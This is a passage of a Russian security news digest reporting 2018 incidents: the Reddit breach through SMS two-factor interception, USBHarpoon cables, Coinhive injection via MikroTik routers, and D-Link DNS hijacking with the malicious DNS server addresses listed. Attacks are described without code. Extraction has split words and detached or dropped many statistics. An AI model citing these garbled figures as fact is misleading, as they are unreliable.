это свя зано с пиратс твом), сбо ра учет ных дан ных и от дру гих проб лем.

Как и в слу чае со Snapchat, на GitHub была обна руже на жалоба на наруше‐ 
ние DMCA, гла сящая, что на сай те был раз мещен исходный код одной из ста‐ 
рых  вер сий  DexGuard,  укра ден ный  у  одно го  из  быв ших  кли ентов  ком пании
Guardsquare.

Хо тя  репози торий,  о  котором  сооб щали  раз работ чики,  был  опе ратив но
уда лен,  исходни ки  успе ли разой тись  по Сети. В общей слож ности  пред ста‐ 
вите ли  Guardsquare  нас читали  око ло  300  фор ков  похищен ного  ПО  и  уже
подали зап росы на их уда ление.

Сто ит отме тить, что изна чаль но исходные коды были опуб ликова ны акка‐ 
унтом  HackedTeam,  который  не  был  забанен.  Эта  же  учет ная  запись  под‐ 
держи вает репози тории спай вари для Android, RCSAndroid. Авторс тво это го
решения  при писы вают  италь янской  ком пании  HackingTeam,  и  ранее  его
называ ли одной из наибо лее про фес сиональ ных и слож ных угроз для Android.

ОБ НАРУЖЕ НО   ОБЪ ЯВЛЕ НИЙ О ПРО ДАЖЕ МАЙ НИН ‐
ГОВОЙ МАЛ ВАРИ

477

Ана лити ки Group‐IB под читали, что за пос ледний год на теневых форумах количес тво объ явле‐ 
ний, в которых пред лага ется ПО для май нин га на про дажу или в арен ду, уве личи лось в   раз
(H1 2018 про тив H1 2017).
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Сум марно на хакер ских форумах были выяв лены   объ явле ний о про даже или арен де прог‐ 
рамм для май нин га, тог да как за ана логич ный пери од 2017 года их количес тво было в пять раз
мень ше —  .

477

99

Как  ока залось, минималь ная  цена  на  такую мал варь  сос тавля ет    дол лара,  а  сред няя  сто‐ 
имость  —    дол ларов.  Спе циалис ты  Group‐IB  называ ют  широкую  дос тупность  тро янов‐май‐ 
неров «опас ной тен денци ей».
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REDDIT ВЗЛОМАЛИ
Один из самых посеща емых сай тов в интерне те — Reddit офи циаль но сооб‐ 
щил о взло ме. Неиз вес тные зло умыш ленни ки сумели обой ти двух фактор ную
аутен тифика цию  в  акка унтах  нес коль ких  сот рудни ков  ком пании  и  похити ли
самые раз ные дан ные: от исходных кодов до email‐адре сов поль зовате лей.

ИБ‐спе циалис ты  дав но  пре дуп режда ют,  что  схе мы двух фактор ной  аутен‐ 
тифика ции, при вязан ные к телефо ну и одно разо вым кодам в SMS‐сооб щени‐ 
ях, нель зя счи тать надеж ными. Так, еще в 2016 году Наци ональ ный инсти тут
стан дартов и тех нологий США (The National Institute of Standards and Technolo‐
gy,  NIST)  пред ста вил  инте рес ный  документ,  сог ласно  которо му  исполь‐ 
зование SMS‐сооб щений для двух фактор ной аутен тифика ции «небезо пас но»
и «недопус тимо».

Не безо пас ность дан ной сис темы лиш ний раз демонс три рует и инци дент,
про изо шед ший  с  сот рудни ками  Reddit.  Клю чевым  аспектом  слу чив шегося
стал  имен но  обход  двух фактор ной  аутен тифика ции:  прес тупни ки  каким‐то
обра зом  сумели  перех ватить  SMS‐сооб щения  сво их  жертв.  Фак тичес ки
это озна чает, что сна чала прес тупни ки сумели взло мать учет ные записи слу‐ 
жащих ком пании (как это про изош ло, не уточ няет ся), а затем обош ли и двух‐ 
фактор ную аутен тифика цию.

Как  имен но  это  было  реали зова но,  пред ста вите ли  Reddit  вновь  не  уточ‐ 
няют, одна ко вари антов здесь может быть мно го. К при меру, ата кующие мог‐ 
ли экс плу ати ровать уяз вимос ти в SS7, мог ли выпол нить так называ емый SIM
swap,  то есть перевы пус тить на себя SIM‐кар ту жер твы, обра тив шись к опе‐ 
рато ру свя зи и при менив соци аль ную инже нерию, или кло ниро вать SIM.

От мечу,  что  в  пос леднее  вре мя  об  ата ках  на  SIM‐кар ты  говорят  и  пишут
очень  мно го,  осо бен но  пос ле  того,  как  в  июле  2018  года  жур налис ты  Vice
Motherboard  обна родо вали    ,  доказы вающе го,  что
дан ную так тику широко исполь зуют зло умыш ленни ки и она поз воля ет им «уго‐ 
нять» учет ные записи и чужие лич ности десят ками и сот нями.

ре зуль таты рас сле дова ния

Но вер немся к ком про мета ции Reddit. Как ста ло извес тно, инци дент имел
мес то меж ду 14 и 18 июля 2018 года, а про ник новение обна ружи ли 19 июля.
Зло умыш ленни ки ском про мети рова ли неназ ванное чис ло сот рудни ков Reddit
и про ник ли в «нес коль ко сис тем», получив дос туп к дан ным. Так, хакеры доб‐ 
рались  до  поль зователь ских  email‐адре сов,  а  так же  бэкапа  БД,  датиро ван‐ 
ного маем 2007 года.

Так как Reddit был осно ван и зарабо тал в 2005 году, эта БД содер жала всю
информа цию  за  два  года  работы  сай та,  вклю чая  весь  его  кон тент  и  сооб‐ 
щения  поль зовате лей  (в  том  чис ле  лич ные),  а  так же  ста рые  хеширо ван ные
пароли и соли.

Пред ста вите ли  ком пании  утвер жда ют,  что прес тупни ки не име ли дос тупа
на запись на ском про мети рован ных сер верах, а зна чит, не мог ли под менить
или  иска зить  какие‐либо  важ ные  дан ные.  Тем  не  менее  раз работ чики  все
рав но уси лили безопас ность (к при меру, сме нили клю чи API) и монито ринг.

К сожале нию, дос туп на чте ние у хакеров был, поэто му им уда лось не толь‐ 
ко похитить БД, но и доб рать ся до более све жих email‐дай джес тов, отправ‐ 
ленных  меж ду  3  июня  и  7  июля  2018  года.  Эти  под борки  инте рес ных
и рекомен дуемых пос тов содер жат информа цию о поль зователь ских име нах
и свя зан ных с ними поч товых адре сах.

Так же  зло умыш ленни ки  получи ли  дос туп  к  исходным  кодам  Reddit,  внут‐ 
ренней докумен тации, логам и рабочим фай лам сот рудни ков. Одна ко никаких
под робнос тей  об  этом  пока  нет,  так  как  хищение  поль зователь ских  дан ных
более кри тич но.

Точ ное  количес тво  ском про мети рован ных  поль зовате лей  не  называ ется,
но ком пания уве ряет, что всем пос тра дав шим будут нап равле ны соот ветс тву‐ 
ющие уве дом ления. Так же всех поль зовате лей, регис три ровав шихся на сай те
до 2007  года,  при зыва ют поменять пароли,  если они по  каким‐то при чинам
не делали это го боль ше десяти лет.

Как  уже  было  ска зано  выше,  в  нас тоящее  вре мя  раз работ чики  Reddit
работа ют над уси лени ем мер безопас ности и монито рин га, а так же уже уве‐ 
доми ли  о  слу чив шемся  пра воох ранитель ные  орга ны.  Небезо пас ность  двух‐ 
фактор ной  аутен тифика ции  пос редс твом  SMS  в  офи циаль ном  заяв лении
пря мо  называ ют  глав ной  при чиной  про изо шед шего.  Поэто му  теперь  сот‐ 
рудни ки Reddit перей дут с SMS на исполь зование 2FA‐токенов.

РУ КОВОДС ТВО TRON FOUNDATION ПОДЕЛИ ЛОСЬ ПЛА ‐
НАМИ
Ру ководс тво ком пании TRON Foundation — орга низа ции, которая недав но при обре ла BitTorrent,
Inc.,  раз рабаты вающую  популяр ней шие  кли енты  μTorrent  и  BitTorrent,  —  подели лось  сво им
видени ем пер спек тив даль нейше го раз вития этих про ектов.

 

 

→ «В  нас тоящее  вре мя  мы  рас смат рива ем  воз можность  исполь зования  про токо ла  TRON
для улуч шения про токо ла BitTorrent,  что бы тот стал быс трее и прод лял срок жиз ни BitTorrent‐
роев.  Я  наде юсь,  что  интегра ция  TRON  и  BitTorrent  в  будущем  поз волит  обе им  сто ронам
работать сов мес тно и стать луч ше. Интегри руя TRON и BitTorrent, мы хотим улуч шить сущес тву‐ 
ющий сей час аль тру изм. В нас тоящий момент у пиров [peer], которые завер шили заг рузку, нет
сти мулов про дол жать сидиро вать  [seed] кон тент. Мы намере ны уве личить наг раду для пиров,
которые сидиру ют тор ренты, вли вая боль ше ресур сов в тор рент‐эко сис тему. Сеть TRON будет
про токо лом, который ляжет в осно ву нашего сек ретно го про екта. Сот ни мил лионов поль зовате‐ 
лей BT по  все му миру  ста нут  частью эко сис темы TRON. BT  ста нет  круп ней шим при ложе нием
в  сети  TRON,  что  поз волит  TRON  прев зой ти  Ethereum  по  ежед невным  тран закци ям  и  стать
наибо лее вли ятель ным блок чей ном в мире»
— Джас тин Сан (Justin Sun), гла ва TRON Foundation

ПОИСК СКИММЕРОВ
И ОПАСНЫЕ КАБЕЛИ
Сре ди наибо лее инте рес ных событий августа мож но перечис лить не  толь ко
новые  уяз вимос ти,  тех ники атак, образчи ки мал вари и мас штаб ные взло мы.
Кое‐что инте рес ное в этом месяце про демонс три рова ли и hardware‐хакеры.

SkimReaper
Сот рудник Фло рид ско го  уни вер ситета Нолен Скейф  (Nolen Scaife)  пред ста‐ 
вил  на  кон ферен ции  USENIX  Security  Symposium  устрой ство  SkimReaper,
которое  спо соб но  обна ружи вать  мно гие  типы  ским меров  на  бан коматах
и PoS‐тер миналах. Док лад удос тоил ся пре мии Distinguished Paper Award.

Как  рас ска зыва ют  Скейф  и  его  кол леги,  их  раз работ ка  спо соб на  обна‐ 
ружи вать при сутс твие нес коль ких счи тыва ющих головок, а это вер ный сиг нал
того, что на машине уста нов лен ским мер.

В соз дании SkimReaper спе циалис там помог ли сот рудни ки Депар тамен та
полиции Нью‐Йор ка,  пре дос тавив шие  экспер там  дос туп  к  раз личным  ским‐ 
мерам,  с  которы ми  пра воох раните ли  регуляр но  стал кива ются  на  прак тике.
В ито ге спе циалис ты подели ли ским меры на четыре катего рии.

:  устрой ства,  которые  помеща ются  поверх  сло та  для  при ема
карт в бан комате или PoS‐тер минале. Могут быть соз даны спе циаль но, что бы
соот ветс тво вать  кон крет ной  модели  бан коматов,  а  порой  перек рыва ют
собой едва ли не все устрой ство. Как пра вило, вмес те с такими нак ладка ми
так же  мож но  обна ружить  и  наложен ную  поверх  нас тоящей  кла виату ру,
которая исполь зует ся для перех вата PIN‐кодов.

Нак ладки

:  такие  ским меры  раз меща ются  глу боко  в  сло тах
для  при ема  карт.  Они  дос таточ но  тон кие,  что бы  помес тить ся  под  кар той
и успеть счи тать дан ные во вре мя ее встав ки или извле чения. Уже появи лись
вер сии,  спо соб ные  пас сивно  счи тывать  EMV‐тран закции;  как  пра вило,  они
раз меща ются меж ду сло том для при ема карт и EMV‐сен сором.

Глу бокое  внед рение

:  такие  прис пособ ления  уста нав лива ются  меж ду  тер‐ 
миналом  и  сетью,  к  которой  тот  под клю чен.  Обыч но  уже  то,  что  уста нов ка
такого устрой ства воз можна в прин ципе, сви детель ству ет о серь езных проб‐ 
лемах с безопас ностью.

Пе рех ватчи ки

:  такие  ским меры  внед ряют ся  внутрь  машины,
меж ду при емни ком карт и дру гим железом. По дан ным иссле дова телей, чаще
все го они встре чают ся на авто зап равках,  так как там лег че все го доб рать ся
до внут реннос тей тер минала, оставшись незаме чен ным.

Внут ренние  ским меры

Скейф объ ясня ет, что из вари аций ским меров наибо лее рас простра нены
нак ладки  и  глу боко  внед ренные  устрой ства,  обна ружить  которые  зачас тую
быва ет неп росто. Как пра вило, пра воох раните лям уда ется заметить ком про‐ 
мета цию  лишь  тог да,  ког да  они  целенап равлен но  ищут  камеры,  которы ми
зло умыш ленни ки поль зуют ся для перех вата PIN‐кодов.

Все перечис ленные спо собы уста нов ки ским меров на одной схе ме

По  этой  при чине  SkimReaper  в  пер вую  оче редь  нацелен  на  поиск  нак ладок
и  глу боко  внед ренных  ским меров.  Он  осна щен  сен сором  в  фор ме  бан ков‐ 
ской  кар ты,  на  котором  рас полага ется  печат ная  пла та.  Ког да  устрой ство
вклю чено,  оно  спо соб но  замечать  неболь шие  скач ки  нап ряжения,  которые
воз ника ют при вхож дении в кон такт с маг нитны ми счи тыва ющи ми голов ками.
Если их обна ружи вает ся боль ше двух, зна чит, на тер минале уста нов лен ским‐ 
мер.

Продолжение статьи →
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SkimReaper

Ис сле дова тели  из  Фло рид ско го  уни вер ситета  —  не  пер вые,  кто  работа ет
в  дан ном нап равле нии.  К  при меру,  в  прош лом  году было  пред став лено An‐
droid‐при ложе ние  ,  которое  обна ружи вает  ским меры  пос‐ 
редс твом  Bluetooth  (похожи ми  метода ми  уже  дав но  поль зуют ся  и  пред ста‐ 
вите ли пра воох ранитель ных орга нов).

Skimmer  Scanner

Но,  по  дан ным  авто ров  SkimReaper,  такой  спо соб менее  надежен,  с  его
помощью  им  уда лось  обна ружить  толь ко  7  из  35  (20%)  передан ных  им
для  тес тов  ским меров.  Дело  в  том,  что  такие  устрой ства  далеко  не  всег да
под держи вают бес про вод ную связь. Тог да как, тес тируя SkimReaper на пре‐ 
дос тавлен ных  полици ей  Нью‐Йор ка  ским мерах,  иссле дова тели  сумели
добить ся стоп роцен тной точ ности.

Пос ле столь впе чат ляющих резуль татов Депар тамент полиции Нью‐Йор ка
при нял  SkimReaper  «на  воору жение»  и  уже  обна ружил  с  его  помощью
как  минимум  одно  мошен ничес кое  устрой ство.  Еще  семь  полицей ских
управле ний так же заин тересо вались при обре тени ем SkimReaper — по приз‐ 
нанию Скей фа, столь ко устрой ств раз работ чики про извести пока не в силах.
Оче вид но, коман ду теперь при дет ся рас ширять.

USBHarpoon
В  августе  2014  года  извес тные  иссле дова тели  Кар стен  Нол  (Karsten  Nohl)
и Якоб Лелл (Jakob Lell) из кон салтин говой ком пании Security Research Labs

 о «фун дамен таль ной уяз вимос ти устрой ств USB», которая получи‐ 
ла наз вание BadUSB. В октябре того же года они опуб ликова ли на GitHub код
прог раммы  для  взло ма  компь юте ра  по  USB.  Фак тичес ки  этот  класс  атак
по  сей  день  поз воля ет  зах ватить  кон троль  над  мно гими  устрой ства ми,
у которых есть порт USB. Ата кующий может эму лиро вать любую перифе рию,
хотя чаще все го пред почте ние отда ется кла виату рам.

со общи ли

Но за пос ледние годы поль зовате ли, научен ные горь ким опы том, при вык‐ 
ли к тому, что доверять USB‐устрой ствам нуж но с оглядкой. К при меру, мно‐ 
гие поп росту не рис кнут вста вить в свою машину най ден ную на ули це флеш ку,
и это впол не разум но.

Идея соз дать обыч ный USB‐кабель,  экс плу ати рующий BadUSB,  воз никла
доволь но дав но. Ведь кабель явно вызовет у потен циаль ной жер твы мень ше
подоз рений,  чем  перифе рия.  Одна ко  успешных  попыток  до  недав него  вре‐ 
мени прак тичес ки не было.

Для  раз работ ки  USBHarpoon  объ еди нились  спе циалис ты  RFID  Research
Group,  SYON  Security  и  Кевин  Мит ник  (Kevin  Mitnick),  который  и  пред ложил
иссле дова телям  эту  идею.  Сам  Мит ник  вдох новил ся  работа ми  иссле дова‐ 
теля, извес тно го в Twitter под ником MG. Еще в начале текуще го года тот 

 в сво ем мик робло ге ата ку через USB‐кабель, одна ко свя зать‐ 
ся с ним самим и обсу дить сот рудни чес тво Мит ник, к сожале нию, не сумел.

де‐ 
монс три ровал

В ито ге Мит ник прив лек к раз работ ке спе циалис тов упо мяну тых выше ком‐ 
паний, которые спра вились с задачей ничуть не хуже. В сво ем бло ге Вин сент
Йю  (Vincent  Yiu)  из  ком пании  SYON  Security  рас ска зал,  что  мно гие  хакеры
и спе циалис ты пытались соз дать неч то похожее на USBHarpoon, одна ко у них
все  вре мя  что‐то  не  получа лось.  Но  объ еди нен ной  груп пе  иссле дова телей
уда лось  решить  все  воз никшие  проб лемы  и  спро екти ровать  работа ющий
USB‐кабель, так же явля ющий ся HID‐сов мести мым устрой ством.

USBHarpoon  сра бота ет  на  любой  раз бло киро ван ной  машине,  к  которой
будет  под соеди нен.  Пос ле  под клю чения  кабель  выпол нит  ряд  команд,  заг‐ 
рузит и запус тит пей лоад. В Windows это дела ется нап рямую через Run, а в
слу чае  с  Linux  и  macOS  может  понадо бить ся  запуск  тер минала.  По  умол‐ 
чанию эта активность прек расно вид на на экра не устрой ства, но, если нуж но,
ата кующий может  скрыть ее. В нас тоящее вре мя пред полага ется,  что ата ка
будет про изво дить ся в отсутс твие хозя ина устрой ства.

Ав тор  ори гиналь ного  иссле дова ния  Кар стен  Нол  напоми нает,  что  проб‐ 
лема BadUSB, по сути, не была устра нена и опас на по сей день. Защитить ся
от  подоб ных  атак  мож но  раз ве  что  с  помощью  спе циаль ного  защит ного
переход ника (такие решения извес тны как USB‐пре зер вативы, или USB con‐
dom). Одна ко все тот же MG   в сво ем Twitter ата ку и на такой
переход ник,  доказы вая,  что  тот  тоже  может  быть  заражен,  пос ле  чего  ему
более нель зя доверять.

де монс три ровал

К сво ему отче ту о раз работ ке USBHarpoon Вин сент Йю при ложил видео,
на  котором  под клю чен ный  для  заряд ки  к  Windows‐машине  квад рокоп тер
переда ет  устрой ству  коман ды  и  занима ется  потен циаль но  вре донос ной
деятель ностью.

ТОП ЯЗЫ КОВ ПРОГ РАММИ РОВА НИЯ
На  стра ницах  жур нала  IEEE  Spectrum,  изда ваемо го  Инсти тутом  инже неров  элек тро тех ники
и  элек тро ники  (IEEE),  был  опуб ликован  тра дици онный  рей тинг  наибо лее  популяр ных  язы ков
прог рамми рова ния.

Python  по‐преж нему  занима ет  пер вую  строч ку  рей тин га.  В  прош лом  году  он  нез начитель но
обо шел по популяр ности C (  про тив   бал ла), а в этом году C++ (  про тив   бал‐ 
ла).

100 99,7 100 99,7

Вто рое и третье мес та в этом году заняли C++ ( ) и Java ( ), а один из прош логод них
лидеров, C, опус тился на чет вертую стро ку с   бал ла.
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РОУТЕРЫ ПОД
АТАКОЙ
Атак  на  IoT‐устрой ства  ста новит ся  все  боль ше  по  мере  рос та  количес тва
самих  гад жетов,  под клю чен ных  к  интерне ту  вещей.  Одной  из  самых  час тых
целей прес тупни ков ока зыва ются роуте ры раз личных про изво дите лей. Дело
в  том,  что  их мно го,  они  под клю чены  к Сети,  но  зачас тую  защище ны ничуть
не луч ше каких‐нибудь «умных» холодиль ников.

Май неры на MikroTik
Сра зу нес коль ко ИБ‐спе циалис тов и ком паний из раз ных стран зафик сирова‐ 
ли  вол ну  атак,  нап равлен ную  про тив  мар шру тиза торов  MikroTik.  Пер вым
на про исхо дящее обра тил вни мание бра зиль ский иссле дова тель, извес тный
под ником MalwareHunterBR.

Де ло в том, что сна чала ата ки кон цен три рова лись имен но на тер ритории
Бра зилии,  но  затем  рас простра нились  и  на  дру гие  стра ны,  что  прив лекло
вни мание  экспер тов  Trustwave.  По  дан ным  ана лити ков  ком пании,
по информа ции на 1 августа 2018 года неиз вес тные зло умыш ленни ки ском‐ 
про мети рова ли более 72  тысяч роуте ров MikroTik  в  одной  толь ко Бра зилии.
На тот момент подоб ные ата ки прак тикова ла все го одна хакер ская груп па, так
как спе циалис там уда лось выявить толь ко один Coinhive‐ключ.

Ха керы экс плу ати руют све жую  уяз вимость,  которая была обна руже на в  сос‐ 
таве ком понен та Winbox в апре ле текуще го года. Хотя инже неры MikroTik опе‐ 
ратив но устра нили этот опас ный RCE‐баг, вла дель цы роуте ров, к сожале нию,
по‐преж нему не спе шат уста нав ливать обновле ние на свои устрой ства. Меж‐ 
ду  тем  в Сети  уже были опуб ликова ны PoC‐экс пло иты и деталь ные ана лизы
бага.

Пос ле  взло ма  устрой ства  исполь зуют ся  для  манипу ляций  с  тра фиком:
роуте ры  зас тавля ют  внед рять  во  все  стра ницы  всех  сай тов  май нин говый
скрипт Coinhive. Хуже того, по дан ным экспер тов, ата ки кос нулись не толь ко
поль зовате лей MikroTik. Дело в том, что некото рые бра зиль ские про вай деры
исполь зуют  уяз вимые мар шру тиза торы  в  сво их  основных  сетях,  и  в  резуль‐ 
тате  их  ком про мета ции  инъ екции Coinhive  зат ронули  боль шой  про цент  тра‐ 
фика. Такие инъ екции опас ны не толь ко для поль зовате лей нап рямую. К при‐ 
меру,  если некий  сайт раз меща ется  в  локаль ной  сети  за роуте ром MikroTik,
его тра фик так же ока жет ся заражен май нером Coinhive.

Но  зло умыш ленни ки  быс тро  поняли,  что  встра ивать  май нер  бук валь но
пов сюду — не слиш ком хорошая идея, так как подоб ное поведе ние прив лека‐ 
ет  черес чур  мно го  вни мания.  Тог да  опе рато ры  вре донос ной  кам пании
решили  огра ничить ся  толь ко  стра ница ми  оши бок,  которые  воз вра щают
роуте ры. При этом мас совость атак не сни жает ся. Пос ле  того  как  кам пания
рас простра нилась  за  пре делы  Бра зилии,  количес тво  заражен ных  Coinhive
роуте ров пре выси ло 180 тысяч.

Прос тое  обра щение  к  поис ковику  Shodan  показы вает,  что  в  интерне те
мож но обна ружить более 1,7 мил лиона роуте ров  ком пании MikroTik,  то есть
ата кующим опре делен но есть где раз вернуть ся.

По дан ным извес тно го ИБ‐экспер та Троя Мур ша (Troy Mursch), спе циалис‐ 
там  уда лось  выявить  вто рой  ключ Coinhive,  внед ряемый  в  тра фик  устрой ств
MikroTik. Вто рая вре донос ная кам пания зат ронула по мень шей мере 25 тысяч
роуте ров,  то  есть  в  общей  слож ности  уже  были  ском про мети рова ны  свы‐ 
ше 200 тысяч устрой ств.

Брешь в девай сах D-Link
Эк спер ты Radware обна ружи ли еще одну  ата ку,  нацелен ную на бра зиль ских
поль зовате лей. Зло умыш ленни ки исполь зуют уяз вимость час ти устрой ств D‐
Link  для  изме нения  нас тро ек  DNS  и  перенап равле ния  бра зиль ских  поль‐ 
зовате лей,  которые  пыта ются  посетить  сай ты  бан ков,  на  сай ты‐фаль шив ки.
Такие фей ковые ресур сы, разуме ется, соз даны для хищения учет ных, финан‐ 
совых и лич ных дан ных: номера телефо на, PIN‐кода кар ты, номера CABB и так
далее.

Под делки  сущес тву ют  для  ресур сов  как  минимум  двух  бан ков:  Banco  de
Brasil  (www.bb.com.br)  и  Unibanco  (www.itau.com.br).  Вре донос ные  DNS,
задей ство ван ные в ата ках, — это 69.162.89.185 и 198.50.222.136.

По  дан ным  иссле дова телей,  проб лема,  поз воля ющая  неав торизо ван ным
лицам  уда лен но  изме нить  нас трой ки  DNS,  пред став ляет  опас ность
для  модемов  и  роуте ров  D‐Link  DSL‐2740R,  DSL‐2640B,  DSL‐2780B,  DSL‐
2730B и DSL‐526B.

Хро ноло гия атак

Пер вые попыт ки исполь зования экс пло итов про тив DSL‐роуте ров D‐Link были
зафик сирова ны  еще  в  начале  июня  2018  года.  Так,  меж ду  началом  июня
и  середи ной  августа  текуще го  года  Radware  уда лось  выявить
более  500  попыток  экс плу ата ции  проб лемы.  При  этом  спе циалис ты  отме‐ 
чают,  что экс пло иты для мно гих роуте ров  (в основном про изводс тва D‐Link)
были опуб ликова ны еще в 2015 году.

Спе циалис ты  пре дуп режда ют,  что  в  слу чае  такой  ата ки  рас познать  под‐ 
дель ный сайт  гораз до  труд нее,  чем обыч но. Ведь прес тупни ки не изме няют
URL,  не  рас сыла ют фишин говых  писем и  не  при бега ют  к  дру гим извес тным
улов кам. Фак тичес ки единс твен ное,  что выда ет ата ку, — это незащи щен ное
соеди нение  (HTTP)  или  проб лемы  с  сер тифика том,  если  жер тва  пыта ется
исполь зовать HTTPS.

В нас тоящее вре мя пред ста вите ли Radware уже пос тавили в извес тность
о  про исхо дящем  пред ста вите лей  бан ков  и  облачно го  хос тинга,  где  раз‐ 
мещались DNS‐сер веры, и фик тивные сай ты прек ратили работу. Поль зовате‐ 
лям потен циаль но уяз вимых устрой ств нас тоятель но рекомен дуют про верить
нас трой ки DNS и оза ботить ся уста нов кой пат чей.

ЛИШЬ   КРИП ТОВАЛЮТ НЫХ ПРО ЕКТОВ ИЗ   ИМЕ ЮТ
ГОТОВЫЙ ПРО ДУКТ
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Спе циалис ты  пор тала  Invest  in  Blockchain  про вели  собс твен ное  иссле дова ние,  изу чив 
самых круп ных по капита лиза ции крип товалют ных про ектов. Как ока залось,  толь ко   из них
име ют работа ющие про дук ты и хоть как‐то исполь зуют ся.
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В пятер ке лидеров в ито ге ока зались сле дующие «небес полез ные» про екты: Bitcoin, Ethereum,
Ripple, Bitcoin Cash и Stellar Lumens. Вмес те с тем в спи сок не вош ли такие про екты, как TRON,
IOTA и Cardano, а крип товалю ты OmiseGO и Verge хотели вклю чить в перечень, но все же иссле‐ 
дова тели соч ли, что пока те не соот ветс тву ют предъ явленным кри тери ям.

НЕВЗЛАМЫВАЕМЫЙ
BITFI
В начале августа 2018  года Джон Макафи пред ложил  всем жела ющим поп‐ 
робовать хак нуть крип товалют ный кошелек Bitfi, называя устрой ство «нев зла‐ 
мыва емым»  и  пред лагая  250  тысяч  дол ларов  любому,  кто  суме ет  доказать
обратное.

В  ответ ИБ‐сооб щес тво  рас кри тико вало Макафи  за  то,  что  тот  пос тавил
очень  стран ные  «усло вия  задачи»,  из‐за  которых  до  сих  пор  может  утвер‐ 
ждать,  что Bitfi  не  взло мали.  Так,  иссле дова телям пред лага ется при обрести
кошелек  за  120 дол ларов,  он  уже  содер жит  крип товалю ту  и  защищен неиз‐ 
вес тной  пароль ной фра зой.  Тре бует ся  извлечь  токены из  кошель ка,  и  лишь
тог да  оно  будет  счи тать ся  взло ман ным.  При  этом  ключ,  исполь зующий ся
для дос тупа к крип товалю те, не хра нит ся на самом устрой стве.

Так,  извес тный  иссле дова тель  Эндрю  Тир ни  (Andrew  Tierney)  писал,  что
пред ложен ная  спе циалис там  схе ма  пок рыва ет  толь ко  один  метод  атак:
хищение  средств  с  укра ден ного  устрой ства  Bitfi,  которое  уже  ока залось
в руках хакеров. Одна ко в реаль нос ти толь ко этим сце нари ем дело, конеч но,
не  огра ничи вает ся.  К  при меру,  прес тупни ки  могут  орга низо вать  ата ку
на  цепоч ку  пос тавок  и  модифи циро вать  кошель ки,  что бы  те  запоми нали
и пересы лали все клю чи треть ей сто роне. Так же в устрой ства могут встро ить
бэк дор, одна ко подоб ные сце нарии атак не были вклю чены в bug bounty Джо‐ 
на Макафи, а устрой ство упор но про дол жают называть «нев зла мыва емым».

В  свою  оче редь,  экспер ты  Pen  Test  Partners  выяс нили,  что  «нев зла мыва‐ 
емое»  устрой ство  пред став ляет  собой  смар тфон  на  Android,  из  которо го
были  уда лены  отдель ные  ком понен ты  (в  основном  отве чающие  непос редс‐ 
твен но  за  сотовую  связь).  Спе циалис там  уда лось  получить  к  девай су  root‐
дос туп  и  обна ружить,  что  тачс крин  сооб щает ся  с  чип сетом  пос редс твом
незашиф рован ного  про токо ла  I2C.  То  есть  в  теории  зло умыш ленни ки могут
«прос лушивать» эти ком муника ции и извлечь пароль ную фра зу сра зу же пос‐ 
ле  того,  как  она  была  наб рана  на  экра не.  Хуже  того,  кошель ки  ока зались
прак тичес ки  никак  не  защище ны  от  несан кци они рован ного  вме шатель ства.
То  есть Bitfi мож но  вскрыть  и  иссле довать,  а  он  про дол жит  работать  как  ни
в чем не бывало.

Поз же спе циалис ту, извес тно му под ником Abe Snowman, уда лось 
.  СМИ  сооб щают,  что  за  этим  псев донимом  скры‐ 

вает ся 15‐лет ний иссле дова тель Салим Рашид (Saleem Rashid).

за пус‐ 
тить  на  устрой стве Doom

И  хотя  Doom  на  Bitfi  может  показать ся  кому‐то  пус тяком,  иссле дова тель
объ ясня ет,  что  для  запус ка  игры  на  кошель ке  необ ходимо  уста новить
и выпол нить про изволь ный код, а так же реали зовать чте ние и запись из хра‐ 
нили ща и RAM, запись в кад ровый буфер и чте ние дан ных с тачс кри на.

Нев зирая  на  все  перечис ленное,  Джон Макафи  про дол жает  утвер ждать,
что устрой ства Bitfi надеж ны и ни одно му хакеру так и не уда лось выпол нить
пос тавлен ные  усло вия  и  похитить  из  кошель ка  токены.  Хотя  в  интервью
ресур су  Eth News Макафи  приз нался,  что  «воз можно,  называть Bitfi  нев зла‐ 
мыва емым было неразум но», он по‐преж нему убеж ден, что кошелек не может
счи тать ся  взло ман ным,  под черки вая,  что  под  «взло мом»  под разуме вает ся
имен но хищение токенов и ничего более.

«Хакеры очень вни матель ны к деталям. Говоря „хак“, я под разуме ваю
кра жу  коинов.  Зачем  вооб ще  ломать  кошелек,  если  не  для  хищения
коинов?  И  поль зовате ли  вол нуют ся:  „могут  ли  хакеры  украсть  мои
коины?“. Ответ — нет», — говорит Макафи.

ЗА РАБО ТАТЬ НА COINHIVE НЕ ТАК ПРОС ТО
Эк спер ты из Рей нско‐Вес тфаль ско го тех ничес кого уни вер ситета Ахе на изу чили работу май нин‐ 
гового сер виса Coinhive и под счи тали доходы его кли ентов.

В месяц Coinhive добыва ет Monero на   дол ларов США. Опе рато ры Coinhive оставля ют
себе   добыто го, а осталь ное получа ют кли енты сер виса.

250 000
30%

Хо тя, помимо Coinhive, сущес тву ют и дру гие ана логич ные сер висы, он удер жива ет паль му пер‐ 
венс тва с боль шим отры вом.

Сог ласно отче ту, май нин говые скрип ты были обна руже ны толь ко на   сай тов.0,8%

На ибо лее  активны ми  рас простра ните лями  Coinhive  выс тупа ют  все го    кли ентов  сер виса,
которые и получа ют от сво ей деятель нос ти наиболь шую при быль.
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Поч ти треть всех ссы лок соз дана одним и тем же поль зовате лем, а при мер но   всех ссы лок
соз даны все го   людь ми.

85%
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КОНЕЦ EMUPARADISE
Еще  в  прош лом  месяце  ком пания  Nintendo  начала  юри дичес ки  бороть ся
с  сай тами,  рас простра няющи ми  ROM’ы  ста рых  игр.  Тог да  пред ста вите ли
ком пании  обра тились  в  федераль ный  суд  Ари зоны  с  жалобой  на  ресур сы
LoveROMS.com  и  LoveRETRO.co,  обви нив  их  в  наруше нии  автор ских  прав
и незакон ном исполь зовании  тор говых марок. В заяв лении ска зано,  что эти
сай ты — одни из самых извес тных источни ков игро вого пиратс тва в онлай не.
В  нас тоящее  вре мя  оба  ресур са  уже  ушли  в  офлайн  и  вряд  ли  ког да‐либо
вер нутся.

Лю бите ли рет роигр были край не огор чены про исхо дящим, а теперь вслед
за  LoveROMS.com  и  LoveRETRO.co  о  решении  прек ратить  рас простра нять
ста рые игры объ явил и извес тный сайт EmuParadise.

Ос нователь ресур са, MasJ, сооб щил, что ска чать ста рые ROM’ы с EmuPar‐
adise боль ше будет нель зя. Он пишет, что сайт про шел дол гий путь за 18 лет
сво его сущес тво вания и его адми нис тра ция успе ла повидать вся кое:

«От  писем  с  угро зами,  которые  при сыла ли  нам  на  заре  работы,
до вне зап ного отклю чения хос тингов и наших сер веров из‑за жалоб.
Мы повида ли все. Мы всег да под чинялись тре бова ниям уда ления кон- 
